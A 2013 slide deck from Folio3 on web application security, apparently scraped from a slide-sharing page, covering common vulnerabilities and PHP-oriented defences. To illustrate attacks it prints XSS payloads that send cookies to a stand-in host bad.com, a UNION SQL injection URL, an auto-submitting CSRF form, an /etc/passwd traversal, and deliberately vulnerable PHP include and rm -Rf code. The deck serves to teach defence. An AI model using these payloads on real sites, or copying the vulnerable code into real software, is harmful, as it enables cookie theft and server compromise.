Multiple Your Crypto Portfolio with the Innovative Features of Advanced Crypt...
Hivelance Technology
 
Understanding Globus Data Transfers with NetSage
Understanding Globus Data Transfers with NetSageUnderstanding Globus Data Transfers with NetSage
Understanding Globus Data Transfers with NetSage
Globus
 
Globus Compute Introduction - GlobusWorld 2024
Globus Compute Introduction - GlobusWorld 2024Globus Compute Introduction - GlobusWorld 2024
Globus Compute Introduction - GlobusWorld 2024
Globus
 
How Recreation Management Software Can Streamline Your Operations.pptx
How Recreation Management Software Can Streamline Your Operations.pptxHow Recreation Management Software Can Streamline Your Operations.pptx
How Recreation Management Software Can Streamline Your Operations.pptx
wottaspaceseo
 
Climate Science Flows: Enabling Petabyte-Scale Climate Analysis with the Eart...
Climate Science Flows: Enabling Petabyte-Scale Climate Analysis with the Eart...Climate Science Flows: Enabling Petabyte-Scale Climate Analysis with the Eart...
Climate Science Flows: Enabling Petabyte-Scale Climate Analysis with the Eart...
Globus
 
Globus Connect Server Deep Dive - GlobusWorld 2024
Globus Connect Server Deep Dive - GlobusWorld 2024Globus Connect Server Deep Dive - GlobusWorld 2024
Globus Connect Server Deep Dive - GlobusWorld 2024
Globus
 
Large Language Models and the End of Programming
Large Language Models and the End of ProgrammingLarge Language Models and the End of Programming
Large Language Models and the End of Programming
Matt Welsh
 
TROUBLESHOOTING 9 TYPES OF OUTOFMEMORYERROR
TROUBLESHOOTING 9 TYPES OF OUTOFMEMORYERRORTROUBLESHOOTING 9 TYPES OF OUTOFMEMORYERROR
TROUBLESHOOTING 9 TYPES OF OUTOFMEMORYERROR
Tier1 app
 
Innovating Inference - Remote Triggering of Large Language Models on HPC Clus...
Innovating Inference - Remote Triggering of Large Language Models on HPC Clus...Innovating Inference - Remote Triggering of Large Language Models on HPC Clus...
Innovating Inference - Remote Triggering of Large Language Models on HPC Clus...
Globus
 
Gamify Your Mind; The Secret Sauce to Delivering Success, Continuously Improv...
Gamify Your Mind; The Secret Sauce to Delivering Success, Continuously Improv...Gamify Your Mind; The Secret Sauce to Delivering Success, Continuously Improv...
Gamify Your Mind; The Secret Sauce to Delivering Success, Continuously Improv...
Shahin Sheidaei
 
De mooiste recreatieve routes ontdekken met RouteYou en FME
De mooiste recreatieve routes ontdekken met RouteYou en FMEDe mooiste recreatieve routes ontdekken met RouteYou en FME
De mooiste recreatieve routes ontdekken met RouteYou en FME
Jelle | Nordend
 

Recently uploaded (20)

Corporate Management | Session 3 of 3 | Tendenci AMS
Corporate Management | Session 3 of 3 | Tendenci AMSCorporate Management | Session 3 of 3 | Tendenci AMS
Corporate Management | Session 3 of 3 | Tendenci AMS
 
Globus Compute wth IRI Workflows - GlobusWorld 2024
Globus Compute wth IRI Workflows - GlobusWorld 2024Globus Compute wth IRI Workflows - GlobusWorld 2024
Globus Compute wth IRI Workflows - GlobusWorld 2024
 
Lecture 1 Introduction to games development
Lecture 1 Introduction to games developmentLecture 1 Introduction to games development
Lecture 1 Introduction to games development
 
2024 RoOUG Security model for the cloud.pptx
2024 RoOUG Security model for the cloud.pptx2024 RoOUG Security model for the cloud.pptx
2024 RoOUG Security model for the cloud.pptx
 
Beyond Event Sourcing - Embracing CRUD for Wix Platform - Java.IL
Beyond Event Sourcing - Embracing CRUD for Wix Platform - Java.ILBeyond Event Sourcing - Embracing CRUD for Wix Platform - Java.IL
Beyond Event Sourcing - Embracing CRUD for Wix Platform - Java.IL
 
Designing for Privacy in Amazon Web Services
Designing for Privacy in Amazon Web ServicesDesigning for Privacy in Amazon Web Services
Designing for Privacy in Amazon Web Services
 
Enhancing Research Orchestration Capabilities at ORNL.pdf
Enhancing Research Orchestration Capabilities at ORNL.pdfEnhancing Research Orchestration Capabilities at ORNL.pdf
Enhancing Research Orchestration Capabilities at ORNL.pdf
 
Using IESVE for Room Loads Analysis - Australia & New Zealand
Using IESVE for Room Loads Analysis - Australia & New ZealandUsing IESVE for Room Loads Analysis - Australia & New Zealand
Using IESVE for Room Loads Analysis - Australia & New Zealand
 
Webinar: Salesforce Document Management 2.0 - Smarter, Faster, Better
Webinar: Salesforce Document Management 2.0 - Smarter, Faster, BetterWebinar: Salesforce Document Management 2.0 - Smarter, Faster, Better
Webinar: Salesforce Document Management 2.0 - Smarter, Faster, Better
 
Multiple Your Crypto Portfolio with the Innovative Features of Advanced Crypt...
Multiple Your Crypto Portfolio with the Innovative Features of Advanced Crypt...Multiple Your Crypto Portfolio with the Innovative Features of Advanced Crypt...
Multiple Your Crypto Portfolio with the Innovative Features of Advanced Crypt...
 
Understanding Globus Data Transfers with NetSage
Understanding Globus Data Transfers with NetSageUnderstanding Globus Data Transfers with NetSage
Understanding Globus Data Transfers with NetSage
 
Globus Compute Introduction - GlobusWorld 2024
Globus Compute Introduction - GlobusWorld 2024Globus Compute Introduction - GlobusWorld 2024
Globus Compute Introduction - GlobusWorld 2024
 
How Recreation Management Software Can Streamline Your Operations.pptx
How Recreation Management Software Can Streamline Your Operations.pptxHow Recreation Management Software Can Streamline Your Operations.pptx
How Recreation Management Software Can Streamline Your Operations.pptx
 
Climate Science Flows: Enabling Petabyte-Scale Climate Analysis with the Eart...
Climate Science Flows: Enabling Petabyte-Scale Climate Analysis with the Eart...Climate Science Flows: Enabling Petabyte-Scale Climate Analysis with the Eart...
Climate Science Flows: Enabling Petabyte-Scale Climate Analysis with the Eart...
 
Globus Connect Server Deep Dive - GlobusWorld 2024
Globus Connect Server Deep Dive - GlobusWorld 2024Globus Connect Server Deep Dive - GlobusWorld 2024
Globus Connect Server Deep Dive - GlobusWorld 2024
 
Large Language Models and the End of Programming
Large Language Models and the End of ProgrammingLarge Language Models and the End of Programming
Large Language Models and the End of Programming
 
TROUBLESHOOTING 9 TYPES OF OUTOFMEMORYERROR
TROUBLESHOOTING 9 TYPES OF OUTOFMEMORYERRORTROUBLESHOOTING 9 TYPES OF OUTOFMEMORYERROR
TROUBLESHOOTING 9 TYPES OF OUTOFMEMORYERROR
 
Innovating Inference - Remote Triggering of Large Language Models on HPC Clus...
Innovating Inference - Remote Triggering of Large Language Models on HPC Clus...Innovating Inference - Remote Triggering of Large Language Models on HPC Clus...
Innovating Inference - Remote Triggering of Large Language Models on HPC Clus...
 
Gamify Your Mind; The Secret Sauce to Delivering Success, Continuously Improv...
Gamify Your Mind; The Secret Sauce to Delivering Success, Continuously Improv...Gamify Your Mind; The Secret Sauce to Delivering Success, Continuously Improv...
Gamify Your Mind; The Secret Sauce to Delivering Success, Continuously Improv...
 
De mooiste recreatieve routes ontdekken met RouteYou en FME
De mooiste recreatieve routes ontdekken met RouteYou en FMEDe mooiste recreatieve routes ontdekken met RouteYou en FME
De mooiste recreatieve routes ontdekken met RouteYou en FME
 

Web Application Security - Folio3

  • 1. WEB APPLICATION SECURITY DOS AND DON’TS M. Waseem & A. Mateen 23rd May 2013 @folio_3 www.folio3.com Copyright 2015
  • 2. Web Application Security  It’s a vast topic While you do not know attacks, how can you know about defense?  High level and common vulnerabilities  How to avoid these? @folio_3 www.folio3.com Copyright 2015
  • 3. It is Important 75% of cyber attacks and internet security violations are generated through Internet applications Source: Gartner Group @folio_3 www.folio3.com Copyright 2015
  • 4. Vulnerabilities are common!  iViZ Security study (2012) shows  99% of the Apps tested had at least 1 vulnerability  82% of the web application had at least 1 High/Critical Vulnerability  90% of hacking incidents never gets known to public  Average number of vulnerability per website: 35  30% of the hacked organizations knew the vulnerability (for which they got hacked) beforehand  #1 Vulnerability: Cross site scripting (61%)@folio_3 www.folio3.com Copyright 2015
  • 5. Top Vulnerabilities 0% 10% 20% 30% 40% 50% 60% 70% Cross Site Request Forgery Information Leakage Cross Site Scripting 25% 51% 65% Percentage of websites containing the Vulnerabilities @folio_3 www.folio3.com Copyright 2015
  • 6. High Level Vulnerabilities 1. Cross-Site Scripting (XSS) 2. Information leakage 3. SQL Injection 4. Cross-Site Request Forgery (CSRF) 5. Unrestricted File Upload 6. File Inclusion 7. Phishing 8. Session Hijacking 9. Shell injection @folio_3 www.folio3.com Copyright 2015
  • 7. Cross-Site Scripting (XSS)  An attacker can inject executable code (JS, HTML, etc.) into a webpage.  Example: http://site.com/search.php?q=<script>alert(“XS S”)</script> <img src=“http://bad.com/xss.js”>  Types:  Non-Persistent  Persistent @folio_3 www.folio3.com Copyright 2015
  • 8. Cross-Site Scripting (XSS)  Non-Persistent  Attacker is able to execute his own code into a webpage but no changes can be done in that website.  Example http://www.site.com/viewtopic.php?id=4"><script>docum ent.location="http://bad.com/logger.php?cookie="+doc ument.cookie;</script> Or http://www.site.com/viewtopic.php?id=4”><script>docum ent.write(“<img src=‘http://bad.com/logger.php?cookie=“+ document.cookie+”’/>”);</script> @folio_3 www.folio3.com Copyright 2015
  • 9. Cross-Site Scripting (XSS)  Persistent  Attacker stores executable code in the website database which is being executed every time webpage is showing the data.  Common targets  Comments  User submitted content  Signup forms etc. @folio_3 www.folio3.com Copyright 2015
  • 10. Cross-Site Scripting (XSS)  Example @folio_3 www.folio3.com Copyright 2015
  • 11. Cross-Site Scripting (XSS)  Comment in raw format: and I like the way this website developers work..hahaha :D :D <script src=“http://bad.com/xss.js”></script>  Should have been printed like  &lt;script src=&quot;http://bad.com/xss.js&quot;&gt;&lt;/scri pt&gt; @folio_3 www.folio3.com Copyright 2015
  • 12. Cross-Site Scripting (XSS)  Solutions  Input sanitization  PHP function strip_tags(), htmlentities(), htmlspecialchars()  PHP filter_input()  PHP libraries:  HTML Safe, htmLawed, kses, Safe HTML Checker, etc  Output sanitization  PHP htmlentities(), htmlspecialchars() @folio_3 www.folio3.com Copyright 2015
  • 13. Information Leakage  An application reveals sensitive data, such as technical details of the web application, environment, or user-specific data.  Example Warning: mysql_connect() [function.mysql-connect]: Access denied for user 'root'@'localhost' (using password: YES) in /usr/www/kint/view.php on line 8 Warning: include(pages/../../../../../../etc/passwd1) [function.include]: failed to open stream: No such file or directory in /usr/www/users/kint/view.php on line 20 @folio_3 www.folio3.com Copyright 2015
  • 14. Information Leakage  Faulty directory listing configuration  All files in directory visible  Improper error handling  Error message may contain paths, user, server info  Specifically in php file path is reveled  Filetype handling  HTTP Headers  X-Powered-By, X-Generator etc  Sensitive HTML comments, etc. @folio_3 www.folio3.com Copyright 2015
  • 15. Information Leakage  Directory listing configuration  Put a blank file named index.html in that directory.  Disable indexing in .htaccess  Options –indexes  All sub-directories of that directory will also get their directory listings turned off.  Error handling  Configure error message using error_reporting, display_errors, log_errors and error_log in php.ini  Configure error handling in .htaccess as well @folio_3 www.folio3.com Copyright 2015
  • 16. Information Leakage  Remove headers which reveal information  X-Powered-By, X-Generator etc  Use header_remove() PHP function  Comments in source  Never put much information in html or js  Comments should be in php so that they are not visible to visitor @folio_3 www.folio3.com Copyright 2015
  • 17. Information Leakage  Filestypes  Never keep files which can be downloaded in public directory, unless it is for public.  Include files (.inc, .class, .db etc.)  Compressed files(.zip, .rar, .tar.gz, etc.)  Database files(.sql, .cvs, .xml, .xls, etc.)  Unknown files(.bak, .inc, .copy, .bkp, etc.)  Configure htaccess  <Files ~ ".(inc|sql)$"> order allow,deny deny from all </Files> @folio_3 www.folio3.com Copyright 2015
  • 18. SQL Injection  Attacker is able to inject custom sql into a query.  Example  http://site.com/product.php?id=10+AND+1=2+union+s elect+1,2,database(),version(),user(),6+-- @folio_3 www.folio3.com Copyright 2015
  • 19. SQL Injection Select id, meta_title, name, details, category, metadescription WHERE id = 10 and deleted = 0 becomes Select id, meta_title, name, details, category, metadescription WHERE id = 10 and 1=2 UNION select 1,2, database(), version(), user(), 6 --and deleted = 0 @folio_3 www.folio3.com Copyright 2015
  • 21. SQL Injection  Escape the input  mysql_real_escape_string()  filter_var()  Intval, floatval  Filter input (use whitelists not blacklists)  Use prepared statements, parameterized queries etc. Most frameworks/cms have it.  Limit database permissions (start with the lowest permissions) @folio_3 www.folio3.com Copyright 2015
  • 22. Cross-Site Request Forgery (CSRF)  Allow other websites to send unauthorized requests to it, using the active session of its authorized users.  Example  User visits a site where attacker has already injected his code (hacked.com) in another tab/window  A review is posted for bad.com @folio_3 www.folio3.com Copyright 2015
  • 23. Cross-Site Request Forgery (CSRF) <div style=“display:none”> <iframe name=“hidden”></iframe> <form name=“Form” action= “http://site.com/post.php” target=“hidden” method=“POST”> <input type=“text” name=“message” value=“I like www.bad.com” /> <input type=“text” name=“rating” value=“5” /> <input type=“submit” /> </form> <script>document.Form.submit();</script> </div> @folio_3 www.folio3.com Copyright 2015
  • 24. Cross-Site Request Forgery (CSRF)  Solution  Use hash tokens into each generated form.  Check token when form is submitted  Check referrer header (partial protection) @folio_3 www.folio3.com Copyright 2015
  • 25. Unrestricted File Upload  Allows attacker to upload malicious files to the server.  Most of the time scripts to take control server.  Example $usrFile = $_FILES[‘userfile’][‘name’]; $uploadFolder= "uploads/"; if(move_uploaded_file($usrFile,$uploadFolder)) { echo “File has been successfully uploaded.“; } else{ echo “Error. Please try again!"; } @folio_3 www.folio3.com Copyright 2015
  • 26. Unrestricted File Upload  Solution  White list the extensions which can be uploaded  Check for double extensions  Check mime type (partial solution)  Rename file before saving  Restrict access to uploaded files (htaccess)  <Files ~ "^w+.(gif|jpe?g|png)$">  order deny,allow  allow from all  </Files> @folio_3 www.folio3.com Copyright 2015
  • 27. File Inclusion  Allows an attacker to include local or remote file into the vulnerable webpage code.  EXAMPLE:  http://site.com/view.php?file=../../../../../etc/passwd  Files can be server configuration files such as system users information, filesystem structure, code etc @folio_3 www.folio3.com Copyright 2015
  • 28. File Inclusion  Vulnerable PHP codes  <?php include($_GET['file']); ?>  <?php include($_POST['file'].".htm"); ?>  <?php include("includes/".$_GET['file']); ?>  <?php include("includes/".$_GET['file'].".htm"); ?> etc. @folio_3 www.folio3.com Copyright 2015
  • 29. File Inclusion  Potential target functions  include()/include_once()  require()/require_once()  file_get_contents()  fopen()  file()  copy()  unlink()  upload_tmp_dir()  move_uploaded_file()  Imagecreatefrom functions etc @folio_3 www.folio3.com Copyright 2015
  • 30. File Inclusion  Use open_basedir settings in php.ini  Filter input for functions mentioned in previous slide.  Use whitelisted filenames or allow only valid file name characters (don’t allow ../ etc)  Modify the php.ini configuration file:  allow_url_fopen = Off  allow_url_include = Off  register_globals = Off (in older versions its “ON” by default) @folio_3 www.folio3.com Copyright 2015
  • 31. Phishing  Social Engineering technique to steal confidential information through the use of fake login page.  EXAMPLE:  http://www.gooqle.com/accounts/ServiceLogin?se rvice=mail @folio_3 www.folio3.com Copyright 2015
  • 32. Phishing Exact replica is served to the visitor, data is sent to hacker @folio_3 www.folio3.com Copyright 2015
  • 33. Phishing  Use HTTPS instead of HTTP  So that user may see the details of the domain owner in the SSL certificate information.  Use short URL addresses for login pages  So that users could easily recognize login page address.  Use Yahoo! Sign-in Seal like system  It is a unique identifier chosen by the user. @folio_3 www.folio3.com Copyright 2015
  • 34. Session Hijacking  Allows unauthorized access of an authorized user by having active session identifier (SID)  EXAMPLE:  http://wg180.site.com/dk;jsessionid=0754aff827cf e9f7db7f48e7018ed1e6.wg180?st.cmd=userMain &tkn=8809 @folio_3 www.folio3.com Copyright 2015
  • 35. Session Hijacking  Store SID in HTTP cookies  Don’t accept SIDs from GET and POST requests, use cookies:  session.use_cookies = 1  session.use_only_cookies = 1  This will prevent session fixation by url  Regenerate SID after login or on each request  Put session_regenerate_id(true); after the session_start()  Accept only SIDs generated by own server  Use $_SESSION['SERVER_GENERATED_SID'] to identify whether SID has been created by your web@folio_3 www.folio3.com Copyright 2015
  • 36. Session Hijacking  Destroy old SIDs  Keep session time out small  ini_set("session.cookie_lifetime","600");  Completely destroy the session on user logout  Use SSL for user authentication and afterwards  It will prevent network sniffing @folio_3 www.folio3.com Copyright 2015
  • 37. Shell Injection  Allows an attacker to execute shell commands in the web server.  Example  http://site.com/delete.php?file=/  <?php //delete.php $file = $_GET[‘file’]; echo 'erasing ' . $file . ‘<br />’; system(“rm -Rf $file”) ; echo ‘done‘; ?> @folio_3 www.folio3.com Copyright 2015
  • 38. Shell Injection  Potential target functions  shell_exec(), exec(), system(), passthru(), eval()  Solution  Disable shell functions, use disable_functions in php.ini  Allow only white listed commands to be used  Use PHP built-in function to escape the user input  Escapeshellarg() , escapeshellcmd() @folio_3 www.folio3.com Copyright 2015
  • 39. In a Nutshell  Never trust inputs  Get, Post, Cookies, File upload  Every input can be faked  Filter, Sanitize, Validate each input  Use white lists  Don’t allow html unless required  Don’t expose internal information of applications  Handle exceptions  Test and Monitor application for security  Keep cms, frameworks, plugins updated (at least security fixes) @folio_3 www.folio3.com Copyright 2015
  • 40. Vulnerability Scanners  Acunetix WVS  Skipfish  AppScan  HP WebInspect  Nikto (Wikto)  Netsparker  W3af  Grendel-Scan  Websecurify  Burp Suite  Uniscan and more @folio_3 www.folio3.com Copyright 2015
  • 41. Resources  OWASP https://www.owasp.org/  WASC http://projects.webappsec.org  Vulnerapedia http://lab.gsi.dit.upm.es/semanticwiki/index.ph p/Main_Page  CWE http://cwe.mitre.org/index.html  Securiteam http://www.securiteam.com/  Tracker of vulnerable sites http://www.vulntraq.com/ @folio_3 www.folio3.com Copyright 2015

Editor's Notes

  1. Web applications are accessible and open for anyone In many cases Source Code is OpenSource
  2. Research Methodology 300+ Customers 5,000 + Application Security Tests 25% Apps from Asia, 40% Apps from USA and 25% from Europe
  3. Example of information leakage https://www.google.com/search?q=%22admin+account+info%22+filetype%3Alog http://code.jellycan.com/memcached/
  4. 1.Directory listing misconfiguration: Leaving directory listing enabled allows the attacker to read the list of all files in a directory.
  5. 1.Directory listing misconfiguration: Leaving directory listing enabled allows the attacker to read the list of all files in a directory.
  6. Select id, meta_title, name, details, category, metadescription WHERE id = 10 and deleted = 0 Will become Select id, meta_title, name, details, category, metadescription WHERE id = 10 and 1=2 UNION select 1,2, database(), version(), user(), 6 --and deleted = 0
  7. Consider a payment site
  8. <?php session_start(); $old_sessionid = session_id(); session_regenerate_id(); $new_sessionid = session_id(); echo "Old Session: $old_sessionid<br />"; echo "New Session: $new_sessionid<br />"; print_r($_SESSION); ?>
  9. Multiple ways of setting sessions timeout - Cookie time, garbage collection time, manually